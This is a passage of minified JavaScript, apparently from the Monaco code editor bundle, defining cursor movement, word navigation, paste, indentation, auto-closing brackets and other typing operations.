l=r[a];if(l.isEmpty())if(e.emptySelectionClipboard){var c=l.getPosition(),d=void 0,h=void 0,p=void 0,f=void 0;c.lineNumber<t.getLineCount()?(d=c.lineNumber,h=1,p=c.lineNumber+1,f=1):c.lineNumber>1?(d=c.lineNumber-1,h=t.getLineMaxColumn(c.lineNumber-1),p=c.lineNumber,f=t.getLineMaxColumn(c.lineNumber)):(d=c.lineNumber,h=1,p=c.lineNumber,f=t.getLineMaxColumn(c.lineNumber));var g=new o.Range(d,h,p,f);g.isEmpty()?s[a]=null:s[a]=new n.ReplaceCommand(g,\"\")}else s[a]=null;else s[a]=new n.ReplaceCommand(l,\"\")}return new i.EditOperationResult(s,{shouldPushStackElementBefore:!0,shouldPushStackElementAfter:!0})},e}();t.DeleteOperations=a}),define(d[119],h([1,0,10,73,39,2,9,167,43,60,441,94]),function(e,t,n,i,o,r,s,a,u,l,c,d){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var h=function(){function e(){}return e.indent=function(e,t,n){for(var i=[],o=0,r=n.length;o<r;o++)i[o]=new a.ShiftCommand(n[o],{isUnshift:!1,tabSize:e.tabSize,oneIndent:e.oneIndent,useTabStops:e.useTabStops});return i},e.outdent=function(e,t,n){for(var i=[],o=0,r=n.length;o<r;o++)i[o]=new a.ShiftCommand(n[o],{isUnshift:!0,tabSize:e.tabSize,oneIndent:e.oneIndent,useTabStops:e.useTabStops});return i},e.shiftIndent=function(e,t,n){n=n||1;for(var i=a.ShiftCommand.shiftIndentCount(t,t.length+n,e.tabSize),o=\"\",r=0;r<i;r++)o+=\"\\t\";return o},e.unshiftIndent=function(e,t,n){n=n||1;for(var i=a.ShiftCommand.unshiftIndentCount(t,t.length+n,e.tabSize),o=\"\",r=0;r<i;r++)o+=\"\\t\";return o},e._distributedPaste=function(e,t,n,r){for(var s=[],a=0,u=n.length;a<u;a++)s[a]=new i.ReplaceCommand(n[a],r[a]);return new o.EditOperationResult(s,{shouldPushStackElementBefore:!0,shouldPushStackElementAfter:!0})},e._simplePaste=function(e,t,n,s,a){for(var u=[],l=0,c=n.length;l<c;l++){var d=n[l],h=d.getPosition();if(a&&s.indexOf(\"\\n\")!==s.length-1&&(a=!1),a&&d.startLineNumber!==d.endLineNumber&&(a=!1),a&&d.startColumn===t.getLineMinColumn(d.startLineNumber)&&d.endColumn===t.getLineMaxColumn(d.startLineNumber)&&(a=!1),a){var p=new r.Range(h.lineNumber,1,h.lineNumber,1);u[l]=new i.ReplaceCommand(p,s)}else u[l]=new i.ReplaceCommand(d,s)}return new o.EditOperationResult(u,{shouldPushStackElementBefore:!0,shouldPushStackElementAfter:!0})},e._distributePasteToCursors=function(e,t,n){if(t)return null;if(1===e.length)return null;for(var i=0;i<e.length;i++)if(e[i].startLineNumber!==e[i].endLineNumber)return null;var o=n.split(/\\r\\n|\\r|\\n/);return o.length!==e.length?null:o},e.paste=function(e,t,n,i,o){var s=this._distributePasteToCursors(n,i,o);return s?(n=n.sort(r.Range.compareRangesUsingStarts),this._distributedPaste(e,t,n,s)):this._simplePaste(e,t,n,o,i)},e._goodIndentForLine=function(t,n,i){var o,a,c=u.LanguageConfigurationRegistry.getInheritIndentForLine(n,i,!1);if(c)o=c.action,a=c.indentation;else if(i>1){var d=i-1;for(d=i-1;d>=1;d--){var h=n.getLineContent(d);if(s.lastNonWhitespaceIndex(h)>=0)break}if(d<1)return null;var p=n.getLineMaxColumn(d),f=u.LanguageConfigurationRegistry.getEnterAction(n,new r.Range(d,p,d,p));f&&(a=f.indentation,(o=f.enterAction)&&(a+=o.appendText))}return o&&(o===l.IndentAction.Indent&&(a=e.shiftIndent(t,a)),o===l.IndentAction.Outdent&&(a=e.unshiftIndent(t,a)),a=t.normalizeIndentation(a)),a||null},e._replaceJumpToNextIndent=function(e,t,n,r){var s=\"\",a=n.getStartPosition();if(e.insertSpaces)for(var u=o.CursorColumns.visibleColumnFromColumn2(e,t,a),l=e.tabSize,c=l-u%l,d=0;d<c;d++)s+=\" \";else s=\"\\t\";return new i.ReplaceCommand(n,s,r)},e.tab=function(e,t,n){for(var o=[],u=0,l=n.length;u<l;u++){var c=n[u];if(c.isEmpty()){var d=t.getLineContent(c.startLineNumber);if(/^\\s*$/.test(d)){var h=this._goodIndentForLine(e,t,c.startLineNumber);h=h||\"\\t\";var p=e.normalizeIndentation(h);if(!s.startsWith(d,p)){o[u]=new i.ReplaceCommand(new r.Range(c.startLineNumber,1,c.startLineNumber,d.length+1),p,!0);continue}}o[u]=this._replaceJumpToNextIndent(e,t,c,!0)}else{if(c.startLineNumber===c.endLineNumber){var f=t.getLineMaxColumn(c.startLineNumber);if(1!==c.startColumn||c.endColumn!==f){o[u]=this._replaceJumpToNextIndent(e,t,c,!1);continue}}o[u]=new a.ShiftCommand(c,{isUnshift:!1,tabSize:e.tabSize,oneIndent:e.oneIndent,useTabStops:e.useTabStops})}}return o},e.replacePreviousChar=function(e,t,n,s,a){for(var u=[],l=0,c=n.length;l<c;l++){var d=n[l];if(d.isEmpty()){var h=d.getPosition(),p=Math.max(1,h.column-a),f=new r.Range(h.lineNumber,p,h.lineNumber,h.column);u[l]=new i.ReplaceCommand(f,s)}else u[l]=null}return new o.EditOperationResult(u,{shouldPushStackElementBefore:!1,shouldPushStackElementAfter:!1})},e._typeCommand=function(e,t,n){return n?new i.ReplaceCommandWithoutChangingPosition(e,t,!0):new i.ReplaceCommand(e,t,!0)},e._enter=function(t,n,a,c){var d=u.LanguageConfigurationRegistry.getEnterAction(n,c);if(d){var h=d.enterAction,p=d.indentation;if(h.indentAction===l.IndentAction.None)return e._typeCommand(c,\"\\n\"+t.normalizeIndentation(p+h.appendText),a);if(h.indentAction===l.IndentAction.Indent)return e._typeCommand(c,\"\\n\"+t.normalizeIndentation(p+h.appendText),a);if(h.indentAction===l.IndentAction.IndentOutdent){var f=t.normalizeIndentation(p),g=t.normalizeIndentation(p+h.appendText),m=\"\\n\"+g+\"\\n\"+f;return a?new i.ReplaceCommandWithoutChangingPosition(c,m,!0):new i.ReplaceCommandWithOffsetCursorState(c,m,-1,g.length-f.length,!0)}if(h.indentAction===l.IndentAction.Outdent){var v=e.unshiftIndent(t,p);return e._typeCommand(c,\"\\n\"+t.normalizeIndentation(v+h.appendText),a)}}var _=u.LanguageConfigurationRegistry.getIndentForEnter(n,c,{unshiftIndent:function(n){return e.unshiftIndent(t,n)},shiftIndent:function(n){return e.shiftIndent(t,n)},normalizeIndentation:function(e){return t.normalizeIndentation(e)}},t.autoIndent),y=n.getLineContent(c.startLineNumber),C=s.getLeadingWhitespace(y).substring(0,c.startColumn-1);if(_){var b=o.CursorColumns.visibleColumnFromColumn2(t,n,c.getEndPosition()),w=c.endColumn,S=\"\\n\";C!==t.normalizeIndentation(_.beforeEnter)&&(S=t.normalizeIndentation(_.beforeEnter)+y.substring(C.length,c.startColumn-1)+\"\\n\",c=new r.Range(c.startLineNumber,1,c.endLineNumber,c.endColumn));var E=n.getLineContent(c.endLineNumber),L=s.firstNonWhitespaceIndex(E);if(c=L>=0?c.setEndPosition(c.endLineNumber,Math.max(c.endColumn,L+1)):c.setEndPosition(c.endLineNumber,n.getLineMaxColumn(c.endLineNumber)),a)return new i.ReplaceCommandWithoutChangingPosition(c,S+t.normalizeIndentation(_.afterEnter),!0);var x=0;return w<=L+1&&(t.insertSpaces||(b=Math.ceil(b/t.tabSize)),x=Math.min(b+1-t.normalizeIndentation(_.afterEnter).length-1,0)),new i.ReplaceCommandWithOffsetCursorState(c,S+t.normalizeIndentation(_.afterEnter),0,x,!0)}return e._typeCommand(c,\"\\n\"+t.normalizeIndentation(C),a)},e._runAutoIndentType=function(t,n,i,o){var s=u.LanguageConfigurationRegistry.getIndentationAtPosition(n,i.startLineNumber,i.startColumn),a=u.LanguageConfigurationRegistry.getIndentActionForType(n,i,o,{shiftIndent:function(n){return e.shiftIndent(t,n)},unshiftIndent:function(n){return e.unshiftIndent(t,n)}});if(null===a)return null;if(a!==t.normalizeIndentation(s)){var l=n.getLineFirstNonWhitespaceColumn(i.startLineNumber);return 0===l?e._typeCommand(new r.Range(i.startLineNumber,0,i.endLineNumber,i.endColumn),t.normalizeIndentation(a)+o,!1):e._typeCommand(new r.Range(i.startLineNumber,0,i.endLineNumber,i.endColumn),t.normalizeIndentation(a)+n.getLineContent(i.startLineNumber).substring(l-1,i.startColumn-1)+o,!1)}return null},e._isAutoClosingCloseCharType=function(e,t,n,i){if(!e.autoClosingBrackets||!e.autoClosingPairsClose.hasOwnProperty(i))return!1;for(var o=0,r=n.length;o<r;o++){var s=n[o];if(!s.isEmpty())return!1;var a=s.getPosition();if(t.getLineContent(a.lineNumber).charAt(a.column-1)!==i)return!1}return!0},e._runAutoClosingCloseCharType=function(e,t,n,s){for(var a=[],u=0,l=n.length;u<l;u++){var c=n[u].getPosition(),d=new r.Range(c.lineNumber,c.column,c.lineNumber,c.column+1);a[u]=new i.ReplaceCommand(d,s)}return new o.EditOperationResult(a,{shouldPushStackElementBefore:!1,shouldPushStackElementAfter:!1})},e._isAutoClosingOpenCharType=function(e,t,i,o){if(!e.autoClosingBrackets||!e.autoClosingPairsOpen.hasOwnProperty(o))return!1;for(var r=0,s=i.length;r<s;r++){var a=i[r];if(!a.isEmpty())return!1;var l=a.getPosition(),c=t.getLineContent(l.lineNumber);if((\"'\"===o||'\"'===o)&&l.column>1){var h=d.getMapForWordSeparators(e.wordSeparators),p=c.charCodeAt(l.column-2);if(0===h.get(p))return!1}var f=c.charAt(l.column-1);if(f){var g=e.autoClosingPairsOpen[o]===o,m=!1;for(var v in e.autoClosingPairsClose){var _=e.autoClosingPairsOpen[v]===v;if((g||!_)&&f===v){m=!0;break}}if(!m&&!/\\s/.test(f))return!1}t.forceTokenization(l.lineNumber);var y=t.getLineTokens(l.lineNumber),C=!1;try{C=u.LanguageConfigurationRegistry.shouldAutoClosePair(o,y,l.column)}catch(e){n.onUnexpectedError(e)}if(!C)return!1}return!0},e._runAutoClosingOpenCharType=function(e,t,n,r){for(var s=[],a=0,u=n.length;a<u;a++){var l=n[a],c=e.autoClosingPairsOpen[r];s[a]=new i.ReplaceCommandWithOffsetCursorState(l,r+c,0,-c.length)}return new o.EditOperationResult(s,{shouldPushStackElementBefore:!0,shouldPushStackElementAfter:!1})},e._isSurroundSelectionType=function(e,t,n,i){if(!e.autoClosingBrackets||!e.surroundingPairs.hasOwnProperty(i))return!1;for(var o=0,r=n.length;o<r;o++){var s=n[o];if(s.isEmpty())return!1;for(var a=!0,u=s.startLineNumber;u<=s.endLineNumber;u++){var l=t.getLineContent(u),c=u===s.startLineNumber?s.startColumn-1:0,d=u===s.endLineNumber?s.endColumn-1:l.length,h=l.substring(c,d);if(/[^ \\t]/.test(h)){a=!1;break}}if(a)return!1}return!0},e._runSurroundSelectionType=function(e,t,n,i){for(var r=[],s=0,a=n.length;s<a;s++){var u=n[s],l=e.surroundingPairs[i];r[s]=new c.SurroundSelectionCommand(u,i,l)}return new o.EditOperationResult(r,{shouldPushStackElementBefore:!0,shouldPushStackElementAfter:!0})},e._typeInterceptorElectricChar=function(e,t,a,l){if(!e.electricChars.hasOwnProperty(l)||!a.isEmpty())return null;var c=a.getPosition();t.forceTokenization(c.lineNumber);var d,h=t.getLineTokens(c.lineNumber);try{d=u.LanguageConfigurationRegistry.onElectricCharacter(l,h,c.column)}catch(e){n.onUnexpectedError(e)}if(!d)return null;if(d.appendText){w=new i.ReplaceCommandWithOffsetCursorState(a,l+d.appendText,0,-d.appendText.length);return new o.EditOperationResult([w],{shouldPushStackElementBefore:!1,shouldPushStackElementAfter:!0})}if(d.matchOpenBracket){var p=(h.getLineContent()+l).lastIndexOf(d.matchOpenBracket)+1,f=t.findMatchingBracketUp(d.matchOpenBracket,{lineNumber:c.lineNumber,column:p});if(f){if(f.startLineNumber===c.lineNumber)return null;var g=t.getLineContent(f.startLineNumber),m=s.getLeadingWhitespace(g),v=e.normalizeIndentation(m),_=t.getLineContent(c.lineNumber),y=t.getLineFirstNonWhitespaceColumn(c.lineNumber)||c.column,C=v+_.substring(y-1,c.column-1)+l,b=new r.Range(c.lineNumber,1,c.lineNumber,c.column),w=new i.ReplaceCommand(b,C);return new o.EditOperationResult([w],{shouldPushStackElementBefore:!1,shouldPushStackElementAfter:!0})}}return null},e.typeWithInterceptors=function(t,n,i,r){if(\"\\n\"===r){for(var s=[],a=0,u=i.length;a<u;a++)s[a]=e._enter(t,n,!1,i[a]);return new o.EditOperationResult(s,{shouldPushStackElementBefore:!0,shouldPushStackElementAfter:!1})}if(t.autoIndent){var l=this._runAutoIndentType(t,n,i[0],r);if(l)return new o.EditOperationResult([l],{shouldPushStackElementBefore:!0,shouldPushStackElementAfter:!1})}if(this._isAutoClosingCloseCharType(t,n,i,r))return this._runAutoClosingCloseCharType(t,n,i,r);if(this._isAutoClosingOpenCharType(t,n,i,r))return this._runAutoClosingOpenCharType(t,n,i,r);if(this._isSurroundSelectionType(t,n,i,r))return this._runSurroundSelectionType(t,n,i,r);if(1===i.length){var c=this._typeInterceptorElectricChar(t,n,i[0],r);if(c)return c}return this.typeWithoutInterceptors(t,n,i,r)},e.typeWithoutInterceptors=function(e,t,n,r){for(var s=[],a=0,u=n.length;a<u;a++)s[a]=new i.ReplaceCommand(n[a],r);return new o.EditOperationResult(s,{shouldPushStackElementBefore:!1,shouldPushStackElementAfter:!1})},e.lineInsertBefore=function(e,t,n){for(var o=[],s=0,a=n.length;s<a;s++){var u=n[s].positionLineNumber;if(1===u)o[s]=new i.ReplaceCommandWithoutChangingPosition(new r.Range(1,1,1,1),\"\\n\");else{u--;var l=t.getLineMaxColumn(u);o[s]=this._enter(e,t,!1,new r.Range(u,l,u,l))}}return o},e.lineInsertAfter=function(e,t,n){for(var i=[],o=0,s=n.length;o<s;o++){var a=n[o].positionLineNumber,u=t.getLineMaxColumn(a);i[o]=this._enter(e,t,!1,new r.Range(a,u,a,u))}return i},e.lineBreakInsert=function(e,t,n){for(var i=[],o=0,r=n.length;o<r;o++)i[o]=this._enter(e,t,!0,n[o]);return i},e}();t.TypeOperations=h}),define(d[172],h([1,0,39,12,94,9,2]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a;!function(e){e[e.None=0]=\"None\",e[e.Regular=1]=\"Regular\",e[e.Separator=2]=\"Separator\"}(a||(a={}));!function(e){e[e.WordStart=0]=\"WordStart\",e[e.WordEnd=1]=\"WordEnd\"}(t.WordNavigationType||(t.WordNavigationType={}));var u=function(){function e(){}return e._createWord=function(e,t,n,i){return{start:n,end:i,wordType:t}},e._findPreviousWordOnLine=function(e,t,n){var i=t.getLineContent(n.lineNumber);return this._doFindPreviousWordOnLine(i,e,n)},e._doFindPreviousWordOnLine=function(e,t,n){for(var i=0,o=n.column-2;o>=0;o--){var r=e.charCodeAt(o),s=t.get(r);if(0===s){if(2===i)return this._createWord(e,i,o+1,this._findEndOfWord(e,t,i,o+1));i=1}else if(2===s){if(1===i)return this._createWord(e,i,o+1,this._findEndOfWord(e,t,i,o+1));i=2}else if(1===s&&0!==i)return this._createWord(e,i,o+1,this._findEndOfWord(e,t,i,o+1))}return 0!==i?this._createWord(e,i,0,this._findEndOfWord(e,t,i,0)):null},e._findEndOfWord=function(e,t,n,i){for(var o=e.length,r=i;r<o;r++){var s=e.charCodeAt(r),a=t.get(s);if(1===a)return r;if(1===n&&2===a)return r;if(2===n&&0===a)return r}return o},e._findNextWordOnLine=function(e,t,n){var i=t.getLineContent(n.lineNumber);return this._doFindNextWordOnLine(i,e,n)},e._doFindNextWordOnLine=function(e,t,n){for(var i=0,o=e.length,r=n.column-1;r<o;r++){var s=e.charCodeAt(r),a=t.get(s);if(0===a){if(2===i)return this._createWord(e,i,this._findStartOfWord(e,t,i,r-1),r);i=1}else if(2===a){if(1===i)return this._createWord(e,i,this._findStartOfWord(e,t,i,r-1),r);i=2}else if(1===a&&0!==i)return this._createWord(e,i,this._findStartOfWord(e,t,i,r-1),r)}return 0!==i?this._createWord(e,i,this._findStartOfWord(e,t,i,o-1),o):null},e._findStartOfWord=function(e,t,n,i){for(var o=i;o>=0;o--){var r=e.charCodeAt(o),s=t.get(r);if(1===s)return o+1;if(1===n&&2===s)return o+1;if(2===n&&0===s)return o+1}return 0},e.moveWordLeft=function(t,n,o,r){var s=o.lineNumber,a=o.column;1===a&&s>1&&(s-=1,a=n.getLineMaxColumn(s));var u=e._findPreviousWordOnLine(t,n,new i.Position(s,a));return 0===r?a=u?u.start+1:1:(u&&a<=u.end+1&&(u=e._findPreviousWordOnLine(t,n,new i.Position(s,u.start+1))),a=u?u.end+1:1),new i.Position(s,a)},e.moveWordRight=function(t,n,o,r){var s=o.lineNumber,a=o.column;a===n.getLineMaxColumn(s)&&s<n.getLineCount()&&(s+=1,a=1);var u=e._findNextWordOnLine(t,n,new i.Position(s,a));return 1===r?a=u?u.end+1:n.getLineMaxColumn(s):(u&&a>=u.start+1&&(u=e._findNextWordOnLine(t,n,new i.Position(s,u.end+1))),a=u?u.start+1:n.getLineMaxColumn(s)),new i.Position(s,a)},e._deleteWordLeftWhitespace=function(e,t){var n=e.getLineContent(t.lineNumber),i=t.column-2,o=r.lastNonWhitespaceIndex(n,i);return o+1<i?new s.Range(t.lineNumber,o+2,t.lineNumber,t.column):null},e.deleteWordLeft=function(t,n,o,r,a){if(!o.isEmpty())return o;var u=new i.Position(o.positionLineNumber,o.positionColumn),l=u.lineNumber,c=u.column;if(1===l&&1===c)return null;if(r){var d=this._deleteWordLeftWhitespace(n,u);if(d)return d}var h=e._findPreviousWordOnLine(t,n,u);return 0===a?h?c=h.start+1:c>1?c=1:(l--,c=n.getLineMaxColumn(l)):(h&&c<=h.end+1&&(h=e._findPreviousWordOnLine(t,n,new i.Position(l,h.start+1))),h?c=h.end+1:c>1?c=1:(l--,c=n.getLineMaxColumn(l))),new s.Range(l,c,u.lineNumber,u.column)},e._findFirstNonWhitespaceChar=function(e,t){for(var n=e.length,i=t;i<n;i++){var o=e.charAt(i);if(\" \"!==o&&\"\\t\"!==o)return i}return n},e._deleteWordRightWhitespace=function(e,t){var n=e.getLineContent(t.lineNumber),i=t.column-1,o=this._findFirstNonWhitespaceChar(n,i);return i+1<o?new s.Range(t.lineNumber,t.column,t.lineNumber,o+1):null},e.deleteWordRight=function(t,n,o,r,a){if(!o.isEmpty())return o;var u=new i.Position(o.positionLineNumber,o.positionColumn),l=u.lineNumber,c=u.column,d=n.getLineCount(),h=n.getLineMaxColumn(l);if(l===d&&c===h)return null;if(r){var p=this._deleteWordRightWhitespace(n,u);if(p)return p}var f=e._findNextWordOnLine(t,n,u);return 1===a?f?c=f.end+1:c<h||l===d?c=h:(l++,c=(f=e._findNextWordOnLine(t,n,new i.Position(l,1)))?f.start+1:n.getLineMaxColumn(l)):(f&&c>=f.start+1&&(f=e._findNextWordOnLine(t,n,new i.Position(l,f.end+1))),f?c=f.start+1:c<h||l===d?c=h:(l++,c=(f=e._findNextWordOnLine(t,n,new i.Position(l,1)))?f.start+1:n.getLineMaxColumn(l))),new s.Range(l,c,u.lineNumber,u.column)},e.word=function(t,r,a,u,l){var c=o.getMapForWordSeparators(t.wordSeparators),d=e._findPreviousWordOnLine(c,r,l),h=d&&1===d.wordType&&d.start<l.column-1&&l.column-1<=d.end,p=e._findNextWordOnLine(c,r,l),f=p&&1===p.wordType&&p.start<l.column-1&&l.column-1<=p.end;if(!u||!a.hasSelection()){var g,m;return h?(g=d.start+1,m=d.end+1):f?(g=p.start+1,m=p.end+1):(g=d?d.end+1:1,m=p?p.start+1:r.getLineMaxColumn(l.lineNumber)),new n.SingleCursorState(new s.Range(l.lineNumber,g,l.lineNumber,m),0,new i.Position(l.lineNumber,m),0)}var v,_;h?(v=d.start+1,_=d.end+1):f?(v=p.start+1,_=p.end+1):(v=l.column,_=l.column);var y,C=l.lineNumber;if(l.isBeforeOrEqual(a.selectionStart.getStartPosition())){y=v;b=new i.Position(C,y);a.selectionStart.containsPosition(b)&&(y=a.selectionStart.endColumn)}else{y=_;var b=new i.Position(C,y);a.selectionStart.containsPosition(b)&&(y=a.selectionStart.startColumn)}return a.move(a.hasSelection(),C,y,0)},e}();t.WordOperations=u}),define(d[173],h([1,0,39,12,2,169,172,29]),function(e,t,n,i,o,r,s,a){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var u=function(){function e(){}return e.addCursorDown=function(e,t){for(var i=[],o=0,s=0,a=t.length;s<a;s++){var u=t[s];i[o++]=new n.CursorState(u.modelState,u.viewState),i[o++]=n.CursorState.fromViewState(r.MoveOperations.translateDown(e.config,e.viewModel,u.viewState))}return i},e.addCursorUp=function(e,t){for(var i=[],o=0,s=0,a=t.length;s<a;s++){var u=t[s];i[o++]=new n.CursorState(u.modelState,u.viewState),i[o++]=n.CursorState.fromViewState(r.MoveOperations.translateUp(e.config,e.viewModel,u.viewState))}return i},e.moveToBeginningOfLine=function(e,t,n){for(var i=[],o=0,r=t.length;o<r;o++){var s=t[o];i[o]=this._moveToLineStart(e,s,n)}return i},e._moveToLineStart=function(e,t,n){var i=t.viewState.position.column,o=i===t.modelState.position.column,r=t.viewState.position.lineNumber,s=i===e.viewModel.getLineFirstNonWhitespaceColumn(r);return o||s?this._moveToLineStartByModel(e,t,n):this._moveToLineStartByView(e,t,n)},e._moveToLineStartByView=function(e,t,i){return n.CursorState.fromViewState(r.MoveOperations.moveToBeginningOfLine(e.config,e.viewModel,t.viewState,i))},e._moveToLineStartByModel=function(e,t,i){return n.CursorState.fromModelState(r.MoveOperations.moveToBeginningOfLine(e.config,e.model,t.modelState,i))},e.moveToEndOfLine=function(e,t,n){for(var i=[],o=0,r=t.length;o<r;o++){var s=t[o];i[o]=this._moveToLineEnd(e,s,n)}return i},e._moveToLineEnd=function(e,t,n){var i=t.viewState.position,o=e.viewModel.getLineMaxColumn(i.lineNumber),r=i.column===o,s=t.modelState.position,a=e.model.getLineMaxColumn(s.lineNumber),u=o-i.column==a-s.column;return r||u?this._moveToLineEndByModel(e,t,n):this._moveToLineEndByView(e,t,n)},e._moveToLineEndByView=function(e,t,i){return n.CursorState.fromViewState(r.MoveOperations.moveToEndOfLine(e.config,e.viewModel,t.viewState,i))},e._moveToLineEndByModel=function(e,t,i){return n.CursorState.fromModelState(r.MoveOperations.moveToEndOfLine(e.config,e.model,t.modelState,i))},e.expandLineSelection=function(e,t){for(var r=[],s=0,a=t.length;s<a;s++){var u=t[s].viewState.selection,l=u.startLineNumber,c=e.viewModel.getLineCount(),d=u.endLineNumber,h=void 0;d===c?h=e.viewModel.getLineMaxColumn(c):(d++,h=1),r[s]=n.CursorState.fromViewState(new n.SingleCursorState(new o.Range(l,1,l,1),0,new i.Position(d,h),0))}return r},e.moveToBeginningOfBuffer=function(e,t,i){for(var o=[],s=0,a=t.length;s<a;s++){var u=t[s];o[s]=n.CursorState.fromModelState(r.MoveOperations.moveToBeginningOfBuffer(e.config,e.model,u.modelState,i))}return o},e.moveToEndOfBuffer=function(e,t,i){for(var o=[],s=0,a=t.length;s<a;s++){var u=t[s];o[s]=n.CursorState.fromModelState(r.MoveOperations.moveToEndOfBuffer(e.config,e.model,u.modelState,i))}return o},e.selectAll=function(e,t){if(e.model.hasEditableRange()){var r=e.model.getEditableRange();if(!t.modelState.selection.equalsRange(r))return n.CursorState.fromModelState(new n.SingleCursorState(new o.Range(r.startLineNumber,r.startColumn,r.startLineNumber,r.startColumn),0,new i.Position(r.endLineNumber,r.endColumn),0))}var s=e.model.getLineCount(),a=e.model.getLineMaxColumn(s);return n.CursorState.fromModelState(new n.SingleCursorState(new o.Range(1,1,1,1),0,new i.Position(s,a),0))},e.line=function(e,t,r,s,a){var u=e.model.validatePosition(s),l=a?e.validateViewPosition(new i.Position(a.lineNumber,a.column),u):e.convertModelPositionToViewPosition(u);if(!r||!t.modelState.hasSelection()){var c=e.model.getLineCount(),d=u.lineNumber+1,h=1;return d>c&&(d=c,h=e.model.getLineMaxColumn(d)),n.CursorState.fromModelState(new n.SingleCursorState(new o.Range(u.lineNumber,1,d,h),0,new i.Position(d,h),0))}var p=t.modelState.selectionStart.getStartPosition().lineNumber;if(u.lineNumber<p)return n.CursorState.fromViewState(t.viewState.move(t.modelState.hasSelection(),l.lineNumber,1,0));if(u.lineNumber>p){var c=e.viewModel.getLineCount(),f=l.lineNumber+1,g=1;return f>c&&(f=c,g=e.viewModel.getLineMaxColumn(f)),n.CursorState.fromViewState(t.viewState.move(t.modelState.hasSelection(),f,g,0))}var m=t.modelState.selectionStart.getEndPosition();return n.CursorState.fromModelState(t.modelState.move(t.modelState.hasSelection(),m.lineNumber,m.column,0))},e.word=function(e,t,i,o){var r=e.model.validatePosition(o);return n.CursorState.fromModelState(s.WordOperations.word(e.config,e.model,t.modelState,i,r))},e.cancelSelection=function(e,t){if(!t.modelState.hasSelection())return new n.CursorState(t.modelState,t.viewState);var r=t.viewState.position.lineNumber,s=t.viewState.position.column;return n.CursorState.fromViewState(new n.SingleCursorState(new o.Range(r,s,r,s),0,new i.Position(r,s),0))},e.moveTo=function(e,t,o,r,s){var a=e.model.validatePosition(r),u=s?e.validateViewPosition(new i.Position(s.lineNumber,s.column),a):e.convertModelPositionToViewPosition(a);return n.CursorState.fromViewState(t.viewState.move(o,u.lineNumber,u.column,0))},e.move=function(e,t,n){var i=n.select,o=n.value;switch(n.direction){case 0:return 4===n.unit?this._moveHalfLineLeft(e,t,i):this._moveLeft(e,t,i,o);case 1:return 4===n.unit?this._moveHalfLineRight(e,t,i):this._moveRight(e,t,i,o);case 2:return 2===n.unit?this._moveUpByViewLines(e,t,i,o):this._moveUpByModelLines(e,t,i,o);case 3:return 2===n.unit?this._moveDownByViewLines(e,t,i,o):this._moveDownByModelLines(e,t,i,o);case 4:return this._moveToViewMinColumn(e,t,i);case 5:return this._moveToViewFirstNonWhitespaceColumn(e,t,i);case 6:return this._moveToViewCenterColumn(e,t,i);case 7:return this._moveToViewMaxColumn(e,t,i);case 8:return this._moveToViewLastNonWhitespaceColumn(e,t,i);case 9:var r=t[0],s=e.getCompletelyVisibleModelRange(),a=this._firstLineNumberInRange(e.model,s,o),u=e.model.getLineFirstNonWhitespaceColumn(a);return[this._moveToModelPosition(e,r,i,a,u)];case 11:var r=t[0],s=e.getCompletelyVisibleModelRange(),a=this._lastLineNumberInRange(e.model,s,o),u=e.model.getLineFirstNonWhitespaceColumn(a);return[this._moveToModelPosition(e,r,i,a,u)];case 10:var r=t[0],s=e.getCompletelyVisibleModelRange(),a=Math.round((s.startLineNumber+s.endLineNumber)/2),u=e.model.getLineFirstNonWhitespaceColumn(a);return[this._moveToModelPosition(e,r,i,a,u)];case 12:for(var l=e.getCompletelyVisibleViewRange(),c=[],d=0,h=t.length;d<h;d++){r=t[d];c[d]=this.findPositionInViewportIfOutside(e,r,l,i)}return c}return null},e.findPositionInViewportIfOutside=function(e,t,i,o){var r=t.viewState.position.lineNumber;if(i.startLineNumber<=r&&r<=i.endLineNumber-1)return new n.CursorState(t.modelState,t.viewState);r>i.endLineNumber-1&&(r=i.endLineNumber-1),r<i.startLineNumber&&(r=i.startLineNumber);var s=e.viewModel.getLineFirstNonWhitespaceColumn(r);return this._moveToViewPosition(e,t,o,r,s)},e._firstLineNumberInRange=function(e,t,n){var i=t.startLineNumber;return t.startColumn!==e.getLineMinColumn(i)&&i++,Math.min(t.endLineNumber,i+n-1)},e._lastLineNumberInRange=function(e,t,n){var i=t.startLineNumber;return t.startColumn!==e.getLineMinColumn(i)&&i++,Math.max(i,t.endLineNumber-n+1)},e._moveLeft=function(e,t,i,o){for(var s=[],a=0,u=t.length;a<u;a++){var l=t[a];s[a]=n.CursorState.fromViewState(r.MoveOperations.moveLeft(e.config,e.viewModel,l.viewState,i,o))}return s},e._moveHalfLineLeft=function(e,t,i){for(var o=[],s=0,a=t.length;s<a;s++){var u=t[s],l=u.viewState.position.lineNumber,c=Math.round(e.viewModel.getLineContent(l).length/2);o[s]=n.CursorState.fromViewState(r.MoveOperations.moveLeft(e.config,e.viewModel,u.viewState,i,c))}return o},e._moveRight=function(e,t,i,o){for(var s=[],a=0,u=t.length;a<u;a++){var l=t[a];s[a]=n.CursorState.fromViewState(r.MoveOperations.moveRight(e.config,e.viewModel,l.viewState,i,o))}return s},e._moveHalfLineRight=function(e,t,i){for(var o=[],s=0,a=t.length;s<a;s++){var u=t[s],l=u.viewState.position.lineNumber,c=Math.round(e.viewModel.getLineContent(l).length/2);o[s]=n.CursorState.fromViewState(r.MoveOperations.moveRight(e.config,e.viewModel,u.viewState,i,c))}return o},e._moveDownByViewLines=function(e,t,i,o){for(var s=[],a=0,u=t.length;a<u;a++){var l=t[a];s[a]=n.CursorState.fromViewState(r.MoveOperations.moveDown(e.config,e.viewModel,l.viewState,i,o))}return s},e._moveDownByModelLines=function(e,t,i,o){for(var s=[],a=0,u=t.length;a<u;a++){var l=t[a];s[a]=n.CursorState.fromModelState(r.MoveOperations.moveDown(e.config,e.model,l.modelState,i,o))}return s},e._moveUpByViewLines=function(e,t,i,o){for(var s=[],a=0,u=t.length;a<u;a++){var l=t[a];s[a]=n.CursorState.fromViewState(r.MoveOperations.moveUp(e.config,e.viewModel,l.viewState,i,o))}return s},e._moveUpByModelLines=function(e,t,i,o){for(var s=[],a=0,u=t.length;a<u;a++){var l=t[a];s[a]=n.CursorState.fromModelState(r.MoveOperations.moveUp(e.config,e.model,l.modelState,i,o))}return s},e._moveToViewPosition=function(e,t,i,o,r){return n.CursorState.fromViewState(t.viewState.move(i,o,r,0))},e._moveToModelPosition=function(e,t,i,o,r){return 